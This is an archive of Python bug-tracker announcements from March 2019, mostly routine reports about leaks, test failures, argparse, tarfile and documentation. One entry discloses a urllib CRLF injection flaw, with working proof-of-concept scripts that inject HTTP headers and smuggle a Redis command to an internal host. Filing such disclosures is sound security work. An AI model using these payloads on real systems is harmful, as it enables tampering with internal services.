The MIME preamble is problematic because it typically only supports ASCII and often defaults to an English-language message, even when applications are used in locales where English is not widely understood.  For this reason, it is moderately useful to be able to override the preamble from Python code; but this should by no means be done routinely, and the documentation should certainly not demonstrate this in basic examples.

----------
components: email
messages: 337657
nosy: barry, era, r.david.murray
priority: normal
severity: normal
status: open
title: email examples should not gratuitously mess with preamble
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36261>
_______________________________________

From report at bugs.python.org  Mon Mar 11 09:53:27 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 11 Mar 2019 13:53:27 +0000
Subject: [New-bugs-announce] [issue36262] Coverity scan: Python/dtoa.c
 resource leak
Message-ID: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity report on dtoa.c. It was run on python2 but the same code resides on python3.

Error: RESOURCE_LEAK (CWE-772): [#def89]
Python-2.7.15/Python/dtoa.c:1846: alloc_fn: Storage is returned from allocation function "s2b".
Python-2.7.15/Python/dtoa.c:526:9: alloc_fn: Storage is returned from allocation function "multadd".
Python-2.7.15/Python/dtoa.c:479:13: alloc_fn: Storage is returned from allocation function "Balloc".
Python-2.7.15/Python/dtoa.c:371:13: alloc_fn: Storage is returned from allocation function "PyMem_Malloc".
Python-2.7.15/Objects/object.c:2348:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/object.c:2348:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Python/dtoa.c:371:13: var_assign: Assigning: "rv" = "PyMem_Malloc(len * 8UL)".
Python-2.7.15/Python/dtoa.c:379:5: return_alloc: Returning allocated memory "rv".
Python-2.7.15/Python/dtoa.c:479:13: var_assign: Assigning: "b1" = "Balloc(b->k + 1)".
Python-2.7.15/Python/dtoa.c:486:13: var_assign: Assigning: "b" = "b1".
Python-2.7.15/Python/dtoa.c:491:5: return_alloc: Returning allocated memory "b".
Python-2.7.15/Python/dtoa.c:526:9: var_assign: Assigning: "b" = "multadd(b, 10, *s++ - 48)".
Python-2.7.15/Python/dtoa.c:530:5: return_alloc: Returning allocated memory "b".
Python-2.7.15/Python/dtoa.c:1846: var_assign: Assigning: "bd0" = storage returned from "s2b(s0, nd0, nd, y)".
Python-2.7.15/Python/dtoa.c:2249: leaked_storage: Variable "bd0" going out of scope leaks the storage it points to.
 2247|   
 2248|     undfl:
 2249|->     return sign ? -0.0 : 0.0;
 2250|   
 2251|     ovfl:

Error: RESOURCE_LEAK (CWE-772): [#def90]
Python-2.7.15/Python/dtoa.c:2006: alloc_fn: Storage is returned from allocation function "diff".
Python-2.7.15/Python/dtoa.c:952:5: alloc_fn: Storage is returned from allocation function "Balloc".
Python-2.7.15/Python/dtoa.c:371:13: alloc_fn: Storage is returned from allocation function "PyMem_Malloc".
Python-2.7.15/Objects/object.c:2348:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/object.c:2348:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Python/dtoa.c:371:13: var_assign: Assigning: "rv" = "PyMem_Malloc(len * 8UL)".
Python-2.7.15/Python/dtoa.c:379:5: return_alloc: Returning allocated memory "rv".
Python-2.7.15/Python/dtoa.c:952:5: var_assign: Assigning: "c" = "Balloc(a->k)".
Python-2.7.15/Python/dtoa.c:962:5: var_assign: Assigning: "xc" = "c".
Python-2.7.15/Python/dtoa.c:996:5: return_alloc: Returning allocated memory "c".
Python-2.7.15/Python/dtoa.c:2006: var_assign: Assigning: "delta" = storage returned from "diff(bb, bd)".
Python-2.7.15/Python/dtoa.c:2016: noescape: Resource "delta" is not freed or pointed-to in "cmp".
Python-2.7.15/Python/dtoa.c:890:13: noescape: "cmp(Bigint *, Bigint *)" does not free or save its parameter "a".
Python-2.7.15/Python/dtoa.c:2129: noescape: Resource "delta" is not freed or pointed-to in "ratio".
Python-2.7.15/Python/dtoa.c:1179:15: noescape: "ratio(Bigint *, Bigint *)" does not free or save its parameter "a".
Python-2.7.15/Python/dtoa.c:2249: leaked_storage: Variable "delta" going out of scope leaks the storage it points to.
 2247|   
 2248|     undfl:
 2249|->     return sign ? -0.0 : 0.0;
 2250|   
 2251|     ovfl:

----------
components: Interpreter Core
messages: 337668
nosy: cstratak
priority: normal
severity: normal
status: open
title: Coverity scan: Python/dtoa.c resource leak
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Mon Mar 11 11:15:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 15:15:11 +0000
Subject: [New-bugs-announce] [issue36263] test_hashlib.test_scrypt() fails
 on Fedora 29
Message-ID: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

$ ./python -m test -v test_hashlib -m test_scrypt
...
ERROR: test_scrypt (test.test_hashlib.KDFTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/vstinner/prog/python/master/Lib/test/test_hashlib.py", line 941, in test_scrypt
    result = hashlib.scrypt(password, salt=salt, n=n, r=r, p=p)
ValueError: Invalid parameter combination for n, r, p, maxmem.
...

The patch pass with the following patch:
---
diff --git a/Modules/_hashopenssl.c b/Modules/_hashopenssl.c
index e560c18b63..22682ea86d 100644
--- a/Modules/_hashopenssl.c
+++ b/Modules/_hashopenssl.c
@@ -770,6 +770,7 @@ _hashlib_scrypt_impl(PyObject *module, Py_buffer *password, Py_buffer *salt,
         return NULL;
     }
 
+#if 0
     /* let OpenSSL validate the rest */
     retval = EVP_PBE_scrypt(NULL, 0, NULL, 0, n, r, p, maxmem, NULL, 0);
     if (!retval) {
@@ -778,6 +779,7 @@ _hashlib_scrypt_impl(PyObject *module, Py_buffer *password, Py_buffer *salt,
                         "Invalid parameter combination for n, r, p, maxmem.");
         return NULL;
    }
+#endif
 
     key_obj = PyBytes_FromStringAndSize(NULL, dklen);
     if (key_obj == NULL) {
---

$ ./python -m test.pythoninfo|grep -E '^ssl|libc_ver'
platform.libc_ver: glibc 2.28
ssl.HAS_SNI: True
ssl.OPENSSL_VERSION: OpenSSL 1.1.1b FIPS  26 Feb 2019
ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 2, 15)
ssl.OP_ALL: 0x80000054
ssl.OP_NO_TLSv1_1: 0x10000000

Note: I don't think that libxcrypt is related, but just in case:

$ rpm -q libxcrypt
libxcrypt-4.4.4-1.fc29.x86_64
libxcrypt-4.4.4-1.fc29.i686
vstinner at apu$ 

Note 2: It seems like bpo-27928 "Add hashlib.scrypt" is still open whereas it has been implemented in Python 3.6.

----------
assignee: christian.heimes
components: SSL
messages: 337674
nosy: christian.heimes, vstinner
priority: normal
severity: normal
status: open
title: test_hashlib.test_scrypt() fails on Fedora 29
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Mon Mar 11 12:09:57 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Mon, 11 Mar 2019 16:09:57 +0000
Subject: [New-bugs-announce] [issue36264] os.path.expanduser should not use
 HOME on windows
Message-ID: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

The current code for `os.path.expanduser` in `ntpath` uses `HOME` in preference to `USERPROFILE` / `HOMEDRIVE\\HOMEPATH`

I can't find any documentation of `HOME` being relevant on windows (only on posix).  For example, wikipedia only mentions `USERPROFILE` / `HOMEDRIVE\\HOMEPATH` options: https://en.wikipedia.org/wiki/Home_directory#Default_home_directory_per_operating_system

Seems to be (one of) the direct causes of a downstream bug for me: https://github.com/pre-commit/pre-commit/issues/960

(msys sets `HOME` to a bogus value if `HOMEDRIVE` is set, then python uses it)

My proposal is to remove these lines and change the `elif` to an `if`:

https://github.com/python/cpython/blob/d9bd8ec2a40ea67bc4248a72943a409ee645ddf3/Lib/ntpath.py#L302-L304

----------
components: Library (Lib), Windows
messages: 337683
nosy: Anthony Sottile, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: os.path.expanduser should not use HOME on windows
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Mon Mar 11 13:17:51 2019
From: report at bugs.python.org (Jakub Wilk)
Date: Mon, 11 Mar 2019 17:17:51 +0000
Subject: [New-bugs-announce] [issue36265] Remove ABCs from collections
Message-ID: <1552324671.45.0.197539126339.issue36265@roundup.psfhosted.org>


New submission from Jakub Wilk <jwilk at jwilk.net>:

This happens with Python from git master (d9bd8ec2a4):

    >>> from collections import Hashable
    <stdin>:1: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working

I was already already using Python 3.8, so I expected the import to fail,
as promised in the warning message.

----------
components: Library (Lib)
messages: 337688
nosy: jwilk
priority: normal
severity: normal
status: open
title: Remove ABCs from collections
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36265>
_______________________________________

From report at bugs.python.org  Mon Mar 11 17:43:32 2019
From: report at bugs.python.org (Phillip M. Feldman)
Date: Mon, 11 Mar 2019 21:43:32 +0000
Subject: [New-bugs-announce] [issue36266] Which module could not be found?
Message-ID: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>


New submission from Phillip M. Feldman <Phillip.M.Feldman at gmail.com>:

I have a module that contains an import statement that imports a large number of items.  This import was failing with the following error message:

ImportError: DLL load failed: The specified module could not be found.

The message would be so much more helpful if it named the offending DLL and module.

----------
components: Interpreter Core
messages: 337698
nosy: Phillip.M.Feldman at gmail.com
priority: normal
severity: normal
status: open
title: Which module could not be found?
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Mon Mar 11 21:36:10 2019
From: report at bugs.python.org (paul j3)
Date: Tue, 12 Mar 2019 01:36:10 +0000
Subject: [New-bugs-announce] [issue36267] User input to argparse raises
 Index_Error: "-a=" on a 'store_true' action
Message-ID: <1552354570.63.0.477016922618.issue36267@roundup.psfhosted.org>


New submission from paul j3 <ajipanca at gmail.com>:

Test case:

    parser = argparse.ArgumentParser()
    parser.add_argument("-a", action="store_true")
    args = parser.parse_args("-a=".split())

raises an Index_Error, which is not caught by the argparse error mechanism.

This is an unusual case, the coincidence of several user errors - 'store_true' which shouldn't take an argument and a short optional with a bare =.  So it's unlikely to occur.  Still, argparse shouldn't ever respond to a command line value with an uncaught error.

The traceback shows that it occurs during the handling of the explicit_arg in consume_optional.

Traceback (most recent call last):
  File "argparseRaiseIndexError.py", line 5, in <module>
    args = parser.parse_args("-a=".split())
  File "/usr/lib/python3.6/argparse.py", line 1743, in parse_args
    args, argv = self.parse_known_args(args, namespace)
  File "/usr/lib/python3.6/argparse.py", line 1775, in parse_known_args
    namespace, args = self._parse_known_args(args, namespace)
  File "/usr/lib/python3.6/argparse.py", line 1981, in _parse_known_args
    start_index = consume_optional(start_index)
  File "/usr/lib/python3.6/argparse.py", line 1881, in consume_optional
    option_string = char + explicit_arg[0]
IndexError: string index out of range

The issue was raised in a Stackoverflow question, where I and the poster explore why it occurs, and possible fixes.

https://stackoverflow.com/questions/54662609/python-argparse-indexerror-for-passing-a

----------
components: Library (Lib)
messages: 337709
nosy: paul.j3
priority: normal
severity: normal
stage: needs patch
status: open
title: User input to argparse raises Index_Error:  "-a=" on a 'store_true' action
type: crash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36267>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:14:28 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Tue, 12 Mar 2019 02:14:28 +0000
Subject: [New-bugs-announce] [issue36268] Change default tar format to
 modern POSIX 2001 (pax) for better portability/interop,
 support and standards conformance
Message-ID: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

I propose changing tarfile.DEFAULT_FORMAT to be tarfile.PAX_FORMAT , rather than the legacy tarfile.GNU_FORMAT for Python 3.8. This would offer several benefits:

? Removes limitations of the old GNU tar format, including in max UID/GID values and bits in device major and minor numbers, and is the most flexible and feature-rich tar format currently
? Encodes all filenames as UTF-8 in a portable way, ensuring consistent and correct handling on all platforms, avoid errors like [this one](https://stackoverflow.com/questions/19902544/tarfile-produce-garbled-file-name-in-the-tar-gz-archivement) and generally ensure expected, sensible defaults
? Is the current interoperable POSIX standard, used by all modern platforms (Linux, Unix, macOS, and third-party unarchivers on Windows) rather than a vendor-specific extension like GNU tar
? Backwards compatible with any unarchiver capable of reading ustar format, unlike GNU tar as the extended pax headers will just be ignored
? Fixes bpo-30661, support tarfile.PAX_FORMAT in shutil.make_archive (was proposed as a fix to the same, but it was never followed up on and the issue remains open)

This change would have no effect on reading existing archives, only writing new ones, and should be broadly compatible with any remotely modern system, as pax support is included in all the widely used libraries/systems:

* POSIX 2001 (major Unix vendors), released in 2001 (18 years ago)
* GNU tar 1.14 (Linux, etc), released in 2004 (15 years ago)
* bsdtar/libtar ~1.2.51 (BSD, macOS, etc), at least as of 2006 (13 years ago), with significant bug fixes up through 2011 (8 years ago)
* 7-zip (Windows) at some point before 2011 (>8 years ago), with significant bug fixes up to 2011 (8 years ago)
* Python 2.6, released in 2008 (11 years ago)

Furthermore, essentially every existing archiver supports ustar format, which would allow interoperability on very old/exotic platforms that don't support pax for some reason (and would certainly not support GNU). Therefore, it should be more than safe to make the change now, with archivers on the three major platforms supporting the modern standard for nearly a decade, and any esoteric ones at least as likely to support the POSIX standard as the vendor-specific GNU extension.

Is there any particular reason why we shouldn't make this change? Is there a particular group/list I should contact to follow up about seeing this implemented? It seems it should only require a one-line change [here](https://stackoverflow.com/questions/19902544/tarfile-produce-garbled-file-name-in-the-tar-gz-archivement), aside from updating the docs and presumably the NEWS file, which I would be willing to do (I would think it should make a fairly straightforward first contribution).

----------
components: Library (Lib)
messages: 337710
nosy: CAM-Gerlach
priority: normal
severity: normal
status: open
title: Change default tar format to modern POSIX 2001 (pax) for better portability/interop, support and standards conformance
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Tue Mar 12 08:29:27 2019
From: report at bugs.python.org (Saba Kauser)
Date: Tue, 12 Mar 2019 12:29:27 +0000
Subject: [New-bugs-announce] [issue36269] post install in setup.py does not
 work when executed through pip
Message-ID: <1552393767.37.0.436750390868.issue36269@roundup.psfhosted.org>


New submission from Saba Kauser <skauseribmdb at gmail.com>:

Hello,

I have a post install class that looks like this:
if('darwin' in sys.platform):
    class PostInstall(install):
        """ Post installation - run install_name_tool on Darwin """
        def run(self):
            clipath = os.getenv('IBM_DB_HOME', '@loader_path/clidriver')
            print("in PostInstall with {}".format(clipath))
            for so in glob.glob(r'build/lib*/ibm_db*.so'):
                os.system("install_name_tool -change libdb2.dylib {}/lib/libdb2.dylib {}".format(clipath, so))
            install.run(self)
    cmd_class = dict(install = PostInstall)

	
And I pass cmd_class to setup(..) as:
setup(..
      include_package_data = True,
       cmdclass = cmd_class,
       **extra
     )

When I execute setup.py as "python setup.py install", then the PostInstall operation is executed after the ibm_db.so is built and installed and I see the intended result. 
However, when I run "pip install ibm_db" or "pip install .",
the execution order looks like this:
    warnings.warn(notifyString)
    running install
    in PostInstall with /Applications/dsdriver/  ==> this is my post install script
    running build
    running build_py
    creating build	
    creating build/lib.macosx-10.9-x86_64-3.7	 ==> I need to traverse to this folder to find my shared library
	
I would expect it to be run post the ibm_db is installed, not before it gets built. 

Can you please let me know how can this be fixed. Is this a bug with pip?

----------
components: Build
messages: 337736
nosy: sabakauser
priority: normal
severity: normal
status: open
title: post install in setup.py does not work when executed through pip
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36269>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:14:36 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 12 Mar 2019 14:14:36 +0000
Subject: [New-bugs-announce] [issue36270] DOC: Add link to sys.exc_info for
 "Reference Manual"
Message-ID: <1552400076.95.0.491371003303.issue36270@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the docs for `sys.exc_info()`, the description of traceback says:

traceback gets a traceback object (see the ---> Reference Manual <---) which encapsulates the call stack at the point where the exception originally occurred.

It might be nice if Reference Manual had a link.

Assigning to @Mariatta for the PyCon sprint.

----------
assignee: Mariatta
components: Documentation
messages: 337740
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Add link to sys.exc_info for "Reference Manual"
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36270>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:30:43 2019
From: report at bugs.python.org (=?utf-8?q?D=C3=A1vid_Nemeskey?=)
Date: Tue, 12 Mar 2019 14:30:43 +0000
Subject: [New-bugs-announce] [issue36271] '_io.TextIOWrapper' object has no
 attribute 'mode'
Message-ID: <1552401043.29.0.979236036871.issue36271@roundup.psfhosted.org>


New submission from D?vid Nemeskey <nemeskeyd at gmail.com>:

TextIOWrapper objects returned by gzip.open() or bz2.open() do not have the 'mode' data member. Those returned by io.open() do. It would be nice if it did.

----------
components: Library (Lib)
messages: 337745
nosy: nemeskeyd
priority: normal
severity: normal
status: open
title: '_io.TextIOWrapper' object has no attribute 'mode'
versions: Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36271>
_______________________________________

From report at bugs.python.org  Tue Mar 12 10:47:03 2019
From: report at bugs.python.org (Saim Raza)
Date: Tue, 12 Mar 2019 14:47:03 +0000
Subject: [New-bugs-announce] [issue36272] Recursive logging crashes
 Interpreter in Python 3
Message-ID: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>


New submission from Saim Raza <saimorsaim at gmail.com>:

Following code logs an error and calls itself leading to stack overflow and eventually core dump in Python 3.6.

>>> import logging
>>> def rec():
...     logging.error("foo")
...     rec()
>>> rec()

[1]    101641 abort (core dumped)  python3
FTR, this doesn't crash Python 2.7.

Attaching the error (condensed) in Python 3.6:

ERROR:root:foo
...
--- Logging error ---
Traceback (most recent call last):
...
RecursionError: maximum recursion depth exceeded in comparison
...
Fatal Python error: Cannot recover from stack overflow.
...
[1]    101641 abort (core dumped)  python3
Python 2.7:

RuntimeError: maximum recursion depth exceeded
But no core dump in Python 2.7.

FTR, the error above with Python 3.6 will come into play if the log level is set to logging.ERROR. Similarly for other log levels.

----------
components: Library (Lib)
messages: 337747
nosy: Saim Raza
priority: normal
severity: normal
status: open
title: Recursive logging crashes Interpreter in Python 3
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Tue Mar 12 12:14:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 16:14:04 +0000
Subject: [New-bugs-announce] [issue36273] test_thread leaks a core dump on
 PPC64 AIX 3.x
Message-ID: <1552407244.81.0.665825370239.issue36273@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

PPC64 AIX 3.x:
https://buildbot.python.org/all/#/builders/10/builds/2224

0:12:47 [160/420/1] test_threading failed (env changed)
...
Ran 158 tests in 12.023s

OK (skipped=1)
Warning -- files was modified by test_threading
  Before: []
  After:  ['core']


I don't know if it's a regression or if it occurred in the past.

Michael: Can you please try to reproduce the issue? Any idea if it's new or not?

You can try to identify which test creates a core dump using:

$ ./python -m test.bisect_cmd --fail-env-changed test_thread -v

The command is supposed to find which test creates the "core" file.

----------
components: Tests
messages: 337772
nosy: Michael.Felt, vstinner
priority: normal
severity: normal
status: open
title: test_thread leaks a core dump on PPC64 AIX 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36273>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:33:23 2019
From: report at bugs.python.org (Tim Burke)
Date: Tue, 12 Mar 2019 20:33:23 +0000
Subject: [New-bugs-announce] [issue36274] http.client cannot send non-ASCII
 request lines
Message-ID: <1552422803.93.0.420596825145.issue36274@roundup.psfhosted.org>


New submission from Tim Burke <tim.burke at gmail.com>:

While the RFCs are rather clear that non-ASCII data would be out of spec,

* that doesn't prevent a poorly-behaved client from sending non-ASCII bytes on the wire, which means
* as an application developer, it's useful to be able to mimic such a client to verify expected behavior while still using stdlib to handle things like header parsing, particularly since
* this worked perfectly well on Python 2.

The two most-obvious ways (to me, anyway) to try to send a request for /?? (for example) are

    # Assume it will get UTF-8 encoded, as that's the default encoding
    # for urllib.parse.quote()
    conn.putrequest('GET', '/\u4f60\u597d')

    # Assume it will get Latin-1 encoded, as
    #   * that's the encoding used in http.client.parse_headers(),
    #   * that's the encoding used for PEP-3333, and
    #   * it has a one-to-one mapping with bytes
    conn.putrequest('GET', '/\xe4\xbd\xa0\xe5\xa5\xbd')

both fail with something like

    UnicodeEncodeError: 'ascii' codec can't encode characters in position ...

Trying to pre-encode like

    conn.putrequest('GET', b'/\xe4\xbd\xa0\xe5\xa5\xbd')

at least doesn't raise an error, but still does not do what was intended; rather than a request line like

    GET /?? HTTP/1.1

(or

    /??????

depending on how you choose to interpret the bytes), the server gets

    GET b'/\xe4\xbd\xa0\xe5\xa5\xbd' HTTP/1.1

The trouble comes down to https://github.com/python/cpython/blob/v3.7.2/Lib/http/client.py#L1104-L1107 -- we don't actually have any control over what the caller passes as the url (so the assumption doesn't hold), nor do we know anything about the encoding that was *intended*.

One of three fixes seems warranted:

* Switch to using Latin-1 to encode instead of ASCII (again, leaning on the precedent set in parse_headers and PEP-3333). This may make it too easy to write an out-of-spec client, however.
* Continue to use ASCII to encode, but include errors='surrogateescape' to give callers an escape hatch. This seems like a reasonably high bar to ensure that the caller actually intends to send unquoted data.
* Accept raw bytes and actually use them (rather than their repr()), allowing the caller to decide upon an appropriate encoding.

----------
components: Library (Lib)
messages: 337802
nosy: tburke
priority: normal
severity: normal
status: open
title: http.client cannot send non-ASCII request lines
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36274>
_______________________________________

From report at bugs.python.org  Tue Mar 12 20:05:49 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 00:05:49 +0000
Subject: [New-bugs-announce] [issue36275] DOC: venv.create doesn't include
 prompt parameter
Message-ID: <1552435549.43.0.602415941786.issue36275@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the documentation for the `venv` module, there is a module-level convenience function for `create` which is missing the `prompt` parameter and the version added directive.

venv.create(env_dir, system_site_packages=False, clear=False, symlinks=False, with_pip=False)

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337819
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: venv.create doesn't include prompt parameter
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36275>
_______________________________________

From report at bugs.python.org  Tue Mar 12 21:26:51 2019
From: report at bugs.python.org (ragdoll)
Date: Wed, 13 Mar 2019 01:26:51 +0000
Subject: [New-bugs-announce] [issue36276] Python urllib CRLF injection
 vulnerability
Message-ID: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>


New submission from ragdoll <ragdoll.guo at gmail.com>:

Abstract:
A CRLF injection vulnerability of Python built-in urllib module (?urllib2? in 2.x??urllib? in 3.x) was found by our team. Attacker who has the control of the requesting address parameter, could exploit this vulnerability to manipulate a HTTP header and attack an internal service, like a normal Webserver, Memcached, Redis and so on.

Principles:
The current implementation of urllib does not encode the ?\r\n? sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ?\r\n? sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header. 

Proof of Concept:
Consider the following Python3 script:

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

# nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 10.251.0.83:7777
User-Agent: Python-urllib/3.7
Connection: close


#end
As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:? X-injected:header?, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ?\r\n? after the new header, so we add another parameter to contain the original parameter data, like ?TEST? in above sample.

Attack Scenarios
1. By crafting HTTP headers, it?s possible to fool some web services;
2. It?s also possible to attack several simple services like Redis, memcached.
Let?s take Redis as a example here:
Adapt the script above to this:
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
#end
We changed the injected header to a valid redis command, after executing this, we check the redis server:
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379> 
We can see that a ?test? key was inserted successfully.

Conclusion:
The implementation of parameter handling of urllib is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

----------
components: Library (Lib)
files: python-urllib-CRLF-injection-vulnerability.pdf
messages: 337827
nosy: ragdoll.guo
priority: normal
severity: normal
status: open
title: Python urllib CRLF injection vulnerability
type: security
versions: Python 2.7, Python 3.7, Python 3.8
Added file: https://bugs.python.org/file48206/python-urllib-CRLF-injection-vulnerability.pdf

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Tue Mar 12 21:41:37 2019
From: report at bugs.python.org (Antony Lee)
Date: Wed, 13 Mar 2019 01:41:37 +0000
Subject: [New-bugs-announce] [issue36277] pdb's recursive debug command is
 not listed in the docs
Message-ID: <1552441297.14.0.332408963845.issue36277@roundup.psfhosted.org>


New submission from Antony Lee <anntzer.lee at gmail.com>:

pdb's recursive debug command (mentioned e.g. in https://bugs.python.org/issue35931) is not listed in https://docs.python.org/3/library/pdb.html#debugger-commands.
(I haven't checked whether any other command is missing.)

----------
assignee: docs at python
components: Documentation
messages: 337828
nosy: Antony.Lee, docs at python
priority: normal
severity: normal
status: open
title: pdb's recursive debug command is not listed in the docs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36277>
_______________________________________

From report at bugs.python.org  Tue Mar 12 22:33:34 2019
From: report at bugs.python.org (Cavad Salmanov)
Date: Wed, 13 Mar 2019 02:33:34 +0000
Subject: [New-bugs-announce] [issue36278] Truncate method
Message-ID: <1552444414.13.0.113596539845.issue36278@roundup.psfhosted.org>


New submission from Cavad Salmanov <cavad2013 at gmail.com>:

I created a new file for researching truncate() method. and I writed  this text:
alma
armud
heyva
nar
qarpiz
yemis

I wanted to delete all the text apart from first line by truncate method.

I writed these codes on python idle:
__________________________________________
#First, I read text for showing it's content
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()


#Then writing codes for operation which I wanted
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.truncate()
38
>>> dosya.seek(0)
0
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()
#I thought I must closed the file, then read again:


#Then I saw nothing has changed
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\narmud\nheyva\nnar\nqarpiz\nyemis'
>>> dosya.close()

#But when I writed codes in this way, it is worked
>>> dosya = open('deneme.txt','r+')
>>> dosya.readline()
'alma\n'
>>> dosya.tell()
6
>>> dosya.seek(6)
6
>>> dosya.truncate()
6
>>> dosya.close()
>>> dosya = open('deneme.txt','r')
>>> dosya.read()
'alma\n'

# I was on 6th byte in both. But it is worked which I used seek() #method. I think both of them were returnden same things

----------
messages: 337830
nosy: Cavad Salmanov
priority: normal
severity: normal
status: open
title: Truncate method
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36278>
_______________________________________

From report at bugs.python.org  Tue Mar 12 23:27:40 2019
From: report at bugs.python.org (David Wilson)
Date: Wed, 13 Mar 2019 03:27:40 +0000
Subject: [New-bugs-announce] [issue36279] os.wait3() leaks some
 uninitialized stack when no processes exist
Message-ID: <1552447660.04.0.72531550499.issue36279@roundup.psfhosted.org>


New submission from David Wilson <dw at botanicus.net>:

Not sure if this is worth reporting..

p = os.popen('sleep 1234')
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)
os.wait3(os.WNOHANG)

